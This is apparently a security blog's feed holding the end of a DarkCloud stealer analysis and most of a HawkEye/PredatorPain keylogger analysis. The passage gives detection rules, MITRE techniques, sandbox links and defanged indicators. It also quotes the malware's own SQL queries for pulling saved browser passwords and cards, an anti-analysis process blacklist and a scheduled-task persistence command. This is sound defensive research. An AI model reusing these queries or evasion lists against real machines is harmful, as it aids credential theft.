class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>Regex</p></blockquote><pre class="line-numbers language-none"><code class="language-none">Proto^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]&#123;2,5&#125;)$^(?!:\&#x2F;\&#x2F;)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]&#123;2,11&#125;?$Accounts (I don&#39;t put more because you have them in the github)^3[47][0-9]&#123;13&#125;$Amex^(6541|6556)[0-9]&#123;12&#125;$BCGlobal^389[0-9]&#123;11&#125;$Carte Blanche Card^3(?:0[0-5]|[68][0-9])[0-9]&#123;11&#125;$…<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>Queries</p></blockquote><pre class="line-numbers language-none"><code class="language-none">SELECT origin_url, username_value, password_value  FROM loginsSELECT name_on_card, expiration_month, expiration_year, card_number_encrypted  FROM credit_cardsSELECT origin_url, username_value, password_value, length(password_value)  FROM loginsSELECT hostname, encryptedUsername, encryptedPassword  FROM moz_loginsSELECT item1 FROM metadata WHERE id &#x3D; &#39;password&#39;;SELECT a11,length(a11) FROM nssPrivateSelect * from Win32_ProcessSelect * from Win32_LogicalDiskSelect * from Win32_ComputerSystemSELECT * FROM Win32_Processor<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>RegKeys</p></blockquote><pre class="line-numbers language-none"><code class="language-none">HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><blockquote><p>BlackList Process</p></blockquote><pre class="line-numbers language-none"><code class="language-none">fiddlervxstreamtcpviewprocexpvmtoolsautoitwiresharkprocmonidaqautorunsapatednswindbg<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>IP public</p></blockquote><pre class="line-numbers language-none"><code class="language-none">http:&#x2F;&#x2F;showip.nethttp:&#x2F;&#x2F;www.mediacollege.com&#x2F;internet&#x2F;utilities&#x2F;show-ip.shtml<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h1 id="Outro"><a href="#Outro" class="headerlink" title="_Outro"></a>_Outro</h1><p>After the analysis, I checked what was going on in Telegram groups as well as in more exclusive groups. The truth is, they don’t have much activity or don’t present themselves as openly as other groups do. Moreover, there is quite a bit of confusion in the logs when differentiating between the botnet and the Stealer, which appears in almost all forums.</p><p><img src="/images/DRK/34.png" alt="34"></p><p>It is interesting to see how many of the samples communicate via bots, making it relatively easy to find information about them.</p><p><img src="/images/DRK/35.png" alt="35"></p><p>Additionally, there are various tools that I am using for these tasks which, although they don’t need much introduction in my opinion, I’ll list here for reference.</p><p>@Gi7w0rm -  <a href="https://teletoken.info/">Teletoken Web</a><br>@0x6rss - <a href="https://github.com/0x6rss/matkap">Matkap Github</a> &amp; <a href="https://matkap.cti.monster/">New Matkap in Web</a></p><p><img src="/images/DRK/36.png" alt="36"></p><p>Finishing the analysis, I must say that I was surprised by the great variety of loaders I found for DarkCloud. It has been a challenge to unify all the versions I encountered into a coherent explanation, but it was truly interesting. I will continue working on the bot-related aspects to develop further analyses with a stronger focus on this area and gain deeper insight into the infrastructure used by those who deploy it</p><p>Finally, I would like to thank you for reading this analysis and for supporting me :)</p><br><h2 id="Detection-Opportunities"><a href="#Detection-Opportunities" class="headerlink" title="_Detection Opportunities"></a>_Detection Opportunities</h2><ul><li>[TA0005][T1036] Duplication of original files or loaders in temporary paths</li></ul><pre class="line-numbers language-none"><code class="language-none">(WriteFile) C:\Users\&lt;user&gt;\AppData\Local\Temp\*.exe|.vbs(WriteFile) C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\Templates\*.exe|.vbs(WriteFile) C:\Users\&lt;user&gt;\AppData\Roaming\*.exe|.vbs(WriteFile) C:\Users\Public\*.exe|.cmd|.vbs<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><ul><li>[TA0003][T1547.001] Startup vbs loader creation to persistence</li></ul><pre class="line-numbers language-none"><code class="language-none">(WriteFile) C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\&lt;RandName&gt;.vbs<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0003][T1547.001] Registry RunOnce persistence</li></ul><pre class="line-numbers language-none"><code class="language-none">(Registry) *\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce(ValueData) *\AppData\Roaming\Microsoft\Windows\Templates\&lt;RandName&gt;.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><ul><li>[TA0007][T1217] Queries to browser paths or third-party software to obtain information</li></ul><pre class="line-numbers language-none"><code class="language-none">(Registry&#x2F;Path query) \Default\Login Data\ | \User Data\ | \WebData\ | \Logins.json | \key3.db | \key4.db | \keyDBPath.db | \signons.sqlite | \keyDBPath.sqlite | Storage\ | mail\ | Data\ | \Accounts\Account.rec0 | \Accounts\Account.tdat | \Account.stg | \Account.rec0 | \Local State | \accounts.xml | \recentservers.xml | \sitemanager.xml<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA00011][T1071] Connection via noncommon process to TG bots</li></ul><p>We can take into account the injected processes I mentioned before or processes in strange paths (Svchost, InstallUtil, MSBuild, injected Itself)</p><pre class="line-numbers language-none"><code class="language-none">(OutBound connection) https?:\&#x2F;\&#x2F;api\.telegram\.org\&#x2F;bot\d+:[A-Za-z0-9_-]+\&#x2F;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="TTP"><a href="#TTP" class="headerlink" title="_TTP"></a>_TTP</h2><pre class="line-numbers language-none"><code class="language-none">[TA0001][T1566.001] SpearPhishing[TA0002][T1059] Command and Scripting Interpreter[TA0002][T1129] Shared Modules[TA0002][T1204] User Execution[TA0003][T1053] Scheduled Task&#x2F;Job[TA0003][T1547.001] Registry Run Keys &#x2F; Startup Folder[TA0005][T1027] Obfuscated Files or Information[TA0005][T1027.002] Software Packing[TA0005][T1036] Masquerading[TA0005][T1055] Process Injection[TA0005][T1140] Deobfuscate&#x2F;Decode Files or Information[TA0005][T1497] Virtualization&#x2F;Sandbox Evasion[TA0007][T1016] System Network Configuration Discovery[TA0007][T1033] System Owner&#x2F;User Discovery[TA0007][T1057] Process Discovery[TA0007][T1082] System Information Discovery[TA0007][T1518] Software Discovery[TA0009][T1005] Data from Local System[TA0009][T1056.001] Keylogging[TA0009][T1113] Screen Capture[TA0009][T1114] Email Collection[TA0009][T1115] Clipboard Data[TA0009][T1560] Archive Collected Data[TA0011][T1071] Application Layer Protocol[TA0011][T1105] Ingress Tool Transfer<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="Some-Any-Run-samples"><a href="#Some-Any-Run-samples" class="headerlink" title="_Some Any.Run samples"></a>_Some Any.Run samples</h2><p><a href="https://app.any.run/tasks/f3c56abe-04b8-432a-8011-4135871daedc">https://app.any.run/tasks/f3c56abe-04b8-432a-8011-4135871daedc</a><br><a href="https://app.any.run/tasks/b3aa2be4-c06e-4bfc-a05a-00b6b5a32c88">https://app.any.run/tasks/b3aa2be4-c06e-4bfc-a05a-00b6b5a32c88</a><br><a href="https://app.any.run/tasks/4e1b98c5-2d9d-4eca-80cf-42d7de800376">https://app.any.run/tasks/4e1b98c5-2d9d-4eca-80cf-42d7de800376</a><br><a href="https://app.any.run/tasks/a2aa4e72-1e7b-4819-8a85-77f5145b884b">https://app.any.run/tasks/a2aa4e72-1e7b-4819-8a85-77f5145b884b</a><br><a href="https://app.any.run/tasks/a36a7b27-c600-4512-92f8-a50e3b43b9f2">https://app.any.run/tasks/a36a7b27-c600-4512-92f8-a50e3b43b9f2</a><br><a href="https://app.any.run/tasks/62189938-c9aa-4faf-af83-6f34934fc0e0">https://app.any.run/tasks/62189938-c9aa-4faf-af83-6f34934fc0e0</a><br><a href="https://app.any.run/tasks/44386e5b-f252-4cd3-a759-9cea86266838">https://app.any.run/tasks/44386e5b-f252-4cd3-a759-9cea86266838</a><br><a href="https://app.any.run/tasks/358ae682-9667-4538-8e03-231f8b550c08">https://app.any.run/tasks/358ae682-9667-4538-8e03-231f8b550c08</a><br><a href="https://app.any.run/tasks/53830d3d-1413-417e-bcc2-02266e731c1a">https://app.any.run/tasks/53830d3d-1413-417e-bcc2-02266e731c1a</a><br><a href="https://app.any.run/tasks/1564deb3-8c01-4334-a392-3579ff05e5e7">https://app.any.run/tasks/1564deb3-8c01-4334-a392-3579ff05e5e7</a><br><a href="https://app.any.run/tasks/9f89708d-7f12-4fc0-9cb3-2c37bb40db63">https://app.any.run/tasks/9f89708d-7f12-4fc0-9cb3-2c37bb40db63</a><br><a href="https://app.any.run/tasks/74e6dfbb-7997-416b-af72-276e06692a7c">https://app.any.run/tasks/74e6dfbb-7997-416b-af72-276e06692a7c</a><br><a href="https://app.any.run/tasks/216ec201-b361-4b74-a063-0c7ed1736cbc">https://app.any.run/tasks/216ec201-b361-4b74-a063-0c7ed1736cbc</a><br><a href="https://app.any.run/tasks/6787a231-8ae4-40f6-b9b6-9b6f8c5fdc99">https://app.any.run/tasks/6787a231-8ae4-40f6-b9b6-9b6f8c5fdc99</a><br><a href="https://app.any.run/tasks/ca51f009-cf34-4bc6-b382-69ea5165ca73">https://app.any.run/tasks/ca51f009-cf34-4bc6-b382-69ea5165ca73</a><br><a href="https://app.any.run/tasks/7a152247-6048-4721-96cf-df6266638678">https://app.any.run/tasks/7a152247-6048-4721-96cf-df6266638678</a><br><a href="https://app.any.run/tasks/e692ced4-8033-4021-943a-a7bbae338678">https://app.any.run/tasks/e692ced4-8033-4021-943a-a7bbae338678</a></p><h2 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h2><p>I’m sorry because there is a lot, but I review many samples, it is interesting to see how they have affected different websites in different parts of the world to host the first stage (the section where loader download the sample).</p><pre class="line-numbers language-none"><code class="language-none">970791d129721273f0d53c1b4c352c689d3992ec3a236bfa5b4c39804821f64d20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de185e45f400b15d22d484430e07d36c9b01eef5bc3069faa8c9fa8b1b88be93ef9aecbdaea604f259a7535b32c7abcd25139af9b8abe04a45d24614212c9d8ea67c930715d4311f4b71e77c5baf6a90d5e9383dbb8d2557e8316054d4e46f0194048eed39069dfa0574b41e3e3f426809e29f9b108d5106670e07b2c1524085b6e6869ab9858bfbbb0e479ec4f2f3776ec952cdada4898e9f26d3322cb931c75cab78c596ef6b627c0210c528adda497162ef323dcb880edc19a1baa67c34e049063477d3838f634d4e5489d7d16de56b91bf0bf31b32ac7e2dbccf657a24d487bc9687a5f5f5b2625642144b433b807c37f968ba696722c1c173a0d7d5ece4d0d989b0fa84da8c99eed3aba8a931afb5a032ea0a47cb4b692a15e7b3aef7104ba8b07a092954cc148342cdd4725f5e9d487155d22b794b273dc874dcf5f144de4ee25450236e49bbb61e175e39eb46a2f3a1258e8ba8fe7a2c6d8b2f17e85cc167f18d276ce3ec088f6d446e409489bad5c9b613d6c1f10a6538724749c7cf2af673ea9482307e2db84538256bcee3a207fbc8bf512715316c82f3b4cebe46d8b1d148996c99c0e59c40792ce17a1531480168eb0e05d015ddd6f0fed9ce9478e5f18d276ce3ec088f6d446e409489bad5c9b613d6c1f10a6538724749c7cf2af673ea9482307e2db84538256bcee3a207fbc8bf512715316c82f3b4cebe46d8b1d59dbca0d404218e0f1729294f30c85d7f61b6e28cc7872d8ce1afb94cb3be42aa653ad0d107b2d7ab98d4ede0eef147b73fbd7eb2f522f0bf608f833daebe34688c929b7be5c31a2a5410394024f9dea1bcfc62af0c24237d2b23b8fea7005580742a25d1550dd0f7ccb299672a5d9de889f57c0e53e3e8eea0e50d6b7ae33bb7d2a499355e0ff23ee3abd5dcf62b27bfa1a993cb8e53b8a0600c0e4d4e4c56093f9c611518f42f00826d8134b4860080b690678b27a469a33a529f7706b87fdda65ed23373504099b4ef1fd883eca088c8664db398909dda87af9d4a02bdf1a23430fb24ff7cf5506c58a46a33a1572a5c724fd9b4e0e88228584f6ec6001e250fa7da2da2ff7e1e1f7e3bb2ff9ae8b363facb00973455e9fe1900e6195c418306710e0292b8c88b537bf427a9d651cfdf4d86ad2f7690b47f766b4354faaa45b104579f856aba3d99b5370360240a3f9f95b82969e3f7ba12c14b0d7abb7f7c8bcd4345ec5eb572bf25a4831ebf09c98bc92c0847662fd68f7cfefce4a27fafce524a6ff12252be335bfa95209bc37ca8de86e45b2c34634cc6223fe832638616ff3374bcb45c5eda66c11ffa3fbef9e7e00e2ad21e752c10bf94bdd7a28ddb03cf79dd756e39c7036b3541c2b560b4b3a7f0ccd4b896de47ba743745726dB4bb90f3a33ac5c78672efc80987f80e0885753b8559bf1d258acf99d04dfd1bB2fe3bf20cb54f650d4b191315cf9247b653a5c3552f9f3d6598990b58139114B4bb90f3a33ac5c78672efc80987f80e0885753b8559bf1d258acf99d04dfd1bDd12a49d57b0dbc1acbfc1493529128a8c9017835a5a008397be8ba2641cbfee9726f460c40a7274eb35203cec6400f3d3de9dcf5e841ffc78bec26057cc2d6e782529daacf0b40364707f5b98f01b13a2a5f3d2b48fee351723495affc03940196[.]251[.]92[.]64144[.]91[.]79[.]5487[.]120[.]120[.]56161[.]132[.]98[.]130165[.]154[.]217[.]184204[.]44[.]192[.]90190[.]171[.]170[.]94161[.]132[.]98[.]130176[.]65[.]144[.]3144[.]91[.]79[.]54&#x2F;&#x2F;Affected websiteskrupasindhudevelopers[.]com www[.]arandelasespeciales[.]com  alcomax[.]com[.]co toyscenter[.]cl centuryharvestlink[.]com gugaequiposyservicios[.]com[.]mx  hngandpartners[.]com<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;DarkCloud is a type of malware categorized as a Stealer, which has evolved over time and positioned itself as one of the most widely used in its category. DarkCloud began making an impact in 2022 and gained relevance that same year and in 2023 by being promoted in various forums showcasing its functionalities. As usual, it was sold through different sources, often leading buyers to communicate via Telegram for its acquisition.&lt;/p&gt;
&lt;p&gt;The execution and distribution of this Stealer have been driven by phishing campaigns, where attackers impersonated various companies or disguised their attacks as payment receipts, fines, and other commonly used tactics aimed at compromising HR departments or similar targets. However, it has also been used in other, less frequent campaigns, where users were directed to download or execute malicious samples through infected products or websites, employing techniques such as malvertising, watering hole attacks, or similar methods. Additionally, it has occasionally been deployed alongside other malware acting as loaders or launched in conjunction with similar threats, such as DbatLoader or ClipBanker.&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
  </entry>
  
  <entry>
    <title>HawkEye | PredatorPain</title>
    <link href="https://rexorvc0.com/2024/11/13/HawkEye_PredatorPain/"/>
    <id>https://rexorvc0.com/2024/11/13/HawkEye_PredatorPain/</id>
    <published>2024-11-13T07:00:00.000Z</published>
    <updated>2025-03-30T20:22:45.147Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>⚠️[You can also find this in collaboration with <a href="https://any.run/cybersecurity-blog/hawkeye-malware-technical-analysis/?utm_source=twitter&utm_medium=post&utm_campaign=hawkeye_analysis&utm_content=linktoblog&utm_term=131124">Any.Run on their blog</a> :)]⚠️</p><p>HawkEye, also known as PredatorPain (Predator Pain), is a malware categorized as a keylogger, but over the years, it has adopted new functionalities that align it with the capabilities of other tools like stealers. It emerged before 2010, with records of its use and sale dating back to 2008, making it quite long-lived. After several spear-phishing campaigns in which this well-known malware was attached, it gained significant popularity starting in 2013. This keylogger has been available on various dark web sites, even having dedicated websites where the tool was sold. However, this keylogger has been cracked for years and used by different actors without going through the subscription method imposed by its creators, whose price ranged between $20 and $50. This has contributed to its continued notoriety, and it has been used not only by criminal actors but also by script kiddies due to its ease of use.</p><p>Although it is not one of the most widely used malwares, it remains in active use and saw a significant resurgence during the COVID period. During this time, certain actors took advantage of the general hysteria to obtain company data through phishing campaigns. Additionally, HawkEye has been used in conjunction with other loaders and&#x2F;or malware that invoked this keylogger. Over its long trajectory, various actors and malware have been involved in attacks on companies, some of which include:</p><ul><li>GOLD GALLEON ( 🏴 )</li><li>Mikroceen ( 🇨🇳 )</li><li>iSPY crypter related with Gold Skyline ( 🇳🇬 )</li><li>Remcos used on campaigns with HawkEye</li><li>Pony used on campaigns with HawkEye (<a href="https://rexorvc0.com/2024/02/04/Pony_Fareit/">Hey, we’ve already analyzed Pony!</a>)</li><li>Get Rich or Die ( 🇳🇬 )</li><li>Uche y Okiki ( 🇳🇬 )</li></ul><span id="more"></span><br><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>The method of HawkEye’s delivery has varied throughout its history, as have the types of sources behind the attacks. Nevertheless, it has been primarily involved in spear-phishing campaigns, where attackers devised convincing scenarios to trick victims into downloading the malicious file, which could be a document, compressed file, or another malware acting as a loader for the keylogger. It has also been used to target websites of portals typically accessed by companies, which were the main targets of the attacking groups. Another common method of spreading HawkEye was through “free” software, which turned out to be malware in disguise.</p><p>HawkEye’s delivery methods are quite diverse compared to other malware. However, its execution and behavior have remained relatively consistent over the years. A behavior graph of what has been observed in recent months would look as follows:</p><p><img src="https://github.com/user-attachments/assets/4c45f5a9-62f9-48e2-81f3-c7f1f81160f9" alt="image"></p><p>During the analysis process, I typically spend weeks, even months, collecting samples to understand how they function as a whole based on the existing variants. Therefore, we may observe variations among those presented. In most executions, we encounter enormous trees of processes based on their activities. To simplify, as you’ve seen in the previous graph, it’s not as complex compared to other stealers or RATs. It generally consists of an executable that drops others in temporary paths, then injects code into one of them or into a .NET-related software. Later, in memory, it gathers all possible data and sends it to a C&amp;C (Doesn’t that sound easier now? I hope so :) )</p><p><img src="https://github.com/user-attachments/assets/1efa8784-b7b7-4cf9-8475-150578131ebf" alt="image"></p><p>Going straight to the point, in an initial execution of one of the samples I analyzed, we see a rather extensive process—a succession of execution copies launched in temporary paths.</p><p><img src="https://github.com/user-attachments/assets/d828d33d-5f9e-4ce0-9edf-4b909342c225" alt="image"><br><img src="https://github.com/user-attachments/assets/19d9f676-b42d-4dd0-b22a-8c8de274de30" alt="image"></p><p>In this instance, they used the Roaming\Templates path, but this is highly variable depending on who created it. Generally speaking, they tend to abuse paths like AppData\Roaming and AppData\Temp, which are classic choices.</p><p><img src="https://github.com/user-attachments/assets/c2817387-0394-441b-bdf5-5500ba91601e" alt="image"><br><img src="https://github.com/user-attachments/assets/49b00df4-2275-4e39-8cb6-858fb6357037" alt="image"><br><img src="https://github.com/user-attachments/assets/3abf9a97-3183-4eb8-a9e5-c1af49131e25" alt="image"></p><p>Here’s the list of paths observed for dropping files:</p><pre class="line-numbers language-none"><code class="language-none">C:\Users\&lt;user&gt;\AppData\Local\Temp\C:\Users\&lt;user&gt;\AppData\Roaming\C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\Templates\C:\Users\&lt;user&gt;\AppData\Local\Temp\System\C:\Users\&lt;user&gt;\Music\<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>All of these files that are launched, and which we’ve observed executing in the previous step, are copies of themselves. The filenames are also highly variable, as you might expect, but they often try to have an icon that makes the victim think it’s a legitimate program, or the malware description might be altered to make it seem like legitimate software. Ultimately, after comparing the dropped files, we can see they are simple copies of the original, with the particularity that some versions launch them in hidden mode, so you can’t see them unless you’ve enabled the “View hidden files” function in Windows.</p><p><img src="https://github.com/user-attachments/assets/523e528b-fafc-419d-bd25-a65967a941dc" alt="image"></p><p>During these file droppings, we can encounter both replicas of the original file in different paths, as well as support files whose functionality is typically to establish persistence (or check if it’s already done, and if not, do it) and to perform injector functions, which is a characteristic of this malware. In this case, the smaller binary is responsible for these actions.</p><p><img src="https://github.com/user-attachments/assets/06df8835-d870-47d7-aa1d-ad88170974ef" alt="image"><br><img src="https://github.com/user-attachments/assets/91aa26fd-0e9b-4804-9756-95e613475380" alt="image"></p><p>I check to see if there is any shared information between the two binaries and notice that certain parts of the code match the original. This will become relevant later, as right now we’re seeing them separately, but everything will make sense afterward.</p><p><img src="https://github.com/user-attachments/assets/fcb354d4-a9d9-4f3b-84d7-c360dc3d61dd" alt="image"></p><p>After this step, we can see how persistence is established. PredatorPain isn’t just a malware that establishes persistence on registry once—it’s been observed to check and establish persistence up to three different times, depending on the phases (Loader &gt; Injector &gt; Payload). This makes it clear that the malware is determined to persist on the system, one way or another. At this stage, to avoid revealing persistence mechanisms through strings, it obfuscates a string and then decodes it to introduce, in this case, one of the binaries launched earlier. This practice isn’t as common and adds a level of sophistication not found in other samples.</p><p><img src="https://github.com/user-attachments/assets/7a264a6f-f411-414e-a37b-8ff69ba7f6eb" alt="image"></p><p>Not only does it create persistence in the registry, but we also find samples that establish persistence in tasks using commands like the following:</p><pre class="line-numbers language-none"><code class="language-none">schtasks.exe &#x2F;Create &#x2F;TN &quot;&lt;Path&gt;\&lt;TaskName&gt;&quot; &#x2F;XML &quot;&lt;File&gt;&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>After observing its behavior in the early stages, we delve deeper into the entire execution thread throughout the analysis phase with debugging. I’ve followed several samples, and they’re mostly similar—samples in .NET, sometimes obfuscated with tools like Confuser, Eaz, Reactor, or similar, which are relatively easy to deobfuscate.</p><p><img src="https://github.com/user-attachments/assets/5f0dc1c1-1bb1-4009-9432-1289500e3cdc" alt="image"></p><p>In most samples, I noticed heavy interaction with resources, which will become crucial shortly since I observed a significant amount of data in these resources across most of the samples I found.</p><p><img src="https://github.com/user-attachments/assets/568eefb8-b19f-4c8a-901e-b33af57a4b47" alt="image"><br><img src="https://github.com/user-attachments/assets/e0becb1c-e3b2-43b4-843e-c971020d033c" alt="image"></p><p>In the malware’s initial phases, it looks for the running process (which will be the previously prepared copy), where it will check the PID to access the resources. Within these resources, we see two distinct types of code: the initial part, which acts as a key, and the data chunk, which is what will be deobfuscated. To achieve this, it uses XOR + Poly, and at the end of the process, it extracts a Portable Executable.</p><p><img src="https://github.com/user-attachments/assets/3244f86f-5575-417f-89fd-8cc5d7cc418a" alt="image"></p><p>It can do this in various ways depending on the sample, but we see the same extraction of a binary from a resource as we do from obfuscated code in memory, like the example shown below.</p><p><img src="https://github.com/user-attachments/assets/e7541581-def8-4d2d-8f65-61189eabf6d6" alt="image"></p><p>The result of this phase is two extracted files—one will be the injector, and the other will be the Keylogger.</p><p><img src="https://github.com/user-attachments/assets/f4a66ea4-dcdc-43dd-b8dd-3be616ee9503" alt="image"><br><img src="https://github.com/user-attachments/assets/6418489d-482b-4582-b67f-17166d3621d1" alt="image"></p><p>I compared both files, and they’re entirely different, in size, in structure—the only common factor is that both are .NET binaries.</p><p><img src="https://github.com/user-attachments/assets/3b8c05e6-1d6c-4ce6-8fa5-4482123b9689" alt="image"></p><p>To highlight the difference between the injector dropped on disk (Right) and the one extracted from memory (Left), we can compare the extended content. We can observe how the memory-extracted injector includes imports related to injection that the disk version doesn’t (such as ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, etc.)</p><p><img src="https://github.com/user-attachments/assets/5ffb31bc-4e10-4132-9309-f04184d26688" alt="image"><br><img src="https://github.com/user-attachments/assets/5c1482b9-4b7c-4a63-896f-a782c2e1f9b9" alt="image"></p><p>Here we can observe various functionalities while extracting the binaries, such as self-deletion. This is done to maintain evasion and avoid revealing its location, as it drops replicas of the original binary in various locations, as we saw earlier.</p><p><img src="https://github.com/user-attachments/assets/27d3a897-0885-49b7-8153-c28815a44e2c" alt="image"><br><img src="https://github.com/user-attachments/assets/56f4a125-148f-44d1-9438-916b8158343c" alt="image"><br><img src="https://github.com/user-attachments/assets/05bdeece-1a62-400e-9b27-cf9b0e151284" alt="image"><br><img src="https://github.com/user-attachments/assets/f5d49bf7-abcb-4d21-86f0-7c6683e926e5" alt="image"></p><p>One of the dropped files, the smaller one, acts as the injector. When extracted from memory, it has more functionalities than the one seen on disk. This is because the injection tasks are carried out during runtime, but the written file is actually a portion of this, triggering the main binary located in the temporary path. It checks persistence and restarts the entire process, including injection. Therefore, it’s a part of the file without revealing all of its functionalities. I’ll show you how it performs injection using Process Hollowing.</p><p><img src="https://github.com/user-attachments/assets/5632042a-3ae7-4ef2-b0c0-e20df712d987" alt="image"></p><p>In essence, the injector doesn’t have much more functionality. It includes a phase where it checks running processes, which is an interesting technique to detect analysis tools or to determine if the process is already running. If not, it launches the process, adds it to the registry (as seen earlier), and restarts the execution.</p><p><img src="https://github.com/user-attachments/assets/2d463a11-860c-4cba-881a-135f98aa3e6c" alt="image"><br><img src="https://github.com/user-attachments/assets/6bbd2974-8241-4627-8e64-0229e9b70d58" alt="image"><br><img src="https://github.com/user-attachments/assets/c12e2163-b3c7-4fdb-9a41-a60b25338025" alt="image"></p><p>Lastly, we only have the second extraction left to observe, which is HawkEye itself. I’ve encountered many versions of it, as the modules included will vary significantly based on what the creator configures in the builder of the Keylogger itself. We’ll talk more about this later, but you can see all the functionalities that can be added during its creation, which will impact the modules incorporated into it.</p><p><img src="https://github.com/user-attachments/assets/64f3aa16-c987-44b1-8aa6-4f2a476488d3" alt="image"><br><img src="https://github.com/user-attachments/assets/6e901370-e9a7-42f6-b745-a0bd824a2999" alt="image"></p><p>At this point, I conducted tests with several builders to verify this theory, as I had extracted multiple samples to the final phase, and almost none of them resembled each other too much. I tested by removing or adding options, and even with the same sample, there were significant differences, so you can imagine how different it can be if it’s not exactly the same version of the keylogger and different elements were selected during its creation.</p><p><img src="https://github.com/user-attachments/assets/f161abae-e844-487a-9e1a-a38e2f2313c0" alt="image"></p><p>At this stage, we just need to examine the payload’s functionalities. Upon first glance, we can see strings that reveal its nature—this sample didn’t expect anyone to reach this point, as it has three well-defined phases that conceal its tracks, but here we can see many indicators of what it is.</p><p><img src="https://github.com/user-attachments/assets/1c6ebbd2-adf1-47b7-8b84-18ddc943c6f6" alt="image"><br><img src="https://github.com/user-attachments/assets/c6f273ca-ff0d-4d71-940b-6fd1a9a5e7e1" alt="image"></p><p>During the execution of this specific module, we can observe it invoking vbc.exe as it injects the payload into this process, using the same techniques we’ve previously seen</p><p><img src="https://github.com/user-attachments/assets/faf94c7d-c64d-4e84-8445-119c9f5e5e2a" alt="image"><br><img src="https://github.com/user-attachments/assets/a7cd07b5-6653-40e1-80fb-911e9134a2d9" alt="image"><br><img src="https://github.com/user-attachments/assets/9041f02c-07aa-4d0f-aa0e-f63008f828f9" alt="image"></p><p>Regarding the modules it brings, I compared three different samples, and they are quite similar in terms of what they can do. The general functionalities that typically match include:</p><ul><li>Keylogging (Monitoring and stealing keyboard and clipboard data)</li><li>System information gathering (OS, HW, Network)</li><li>Credential theft (Mail, FTP, browsers, video games, etc.)</li><li>Wallet theft</li><li>Screenshot capture</li><li>Security software detection</li><li>Analysis tools detection (Dbg, traffic, etc.)</li><li>Persistence (usually via registry keys or Tasks)</li><li>Information exfiltration through various methods (FTP, HTTP, SMTP, etc.)</li></ul><p><img src="https://github.com/user-attachments/assets/33e52201-00b8-4ab6-b6d7-6f794f8b1a4d" alt="image"></p><p>Calling HawkEye a keylogger is really an oversimplification, as it performs more functions than many stealers I’ve seen. Once injected into vbc.exe or other processes, it carries out various actions mentioned above.</p><p><img src="https://github.com/user-attachments/assets/d4adfc83-43f9-412a-9beb-b18498d75a47" alt="image"></p><br><h1 id="Outro"><a href="#Outro" class="headerlink" title="_Outro"></a>_Outro</h1><p>As we discussed earlier, different groups have used this keylogger, as well as independent criminals or even script kiddies. In my research, I found different places where this keylogger was sold—there were up to 4-5 different sites, as it changed developers and domains over time, which is quite common.</p><p><img src="https://github.com/user-attachments/assets/95060ead-b953-48f1-985f-fc0b53746e33" alt="image"></p><p>It has also been distributed through cracks, where it was sold or offered on forums to members, avoiding the usual membership fees or 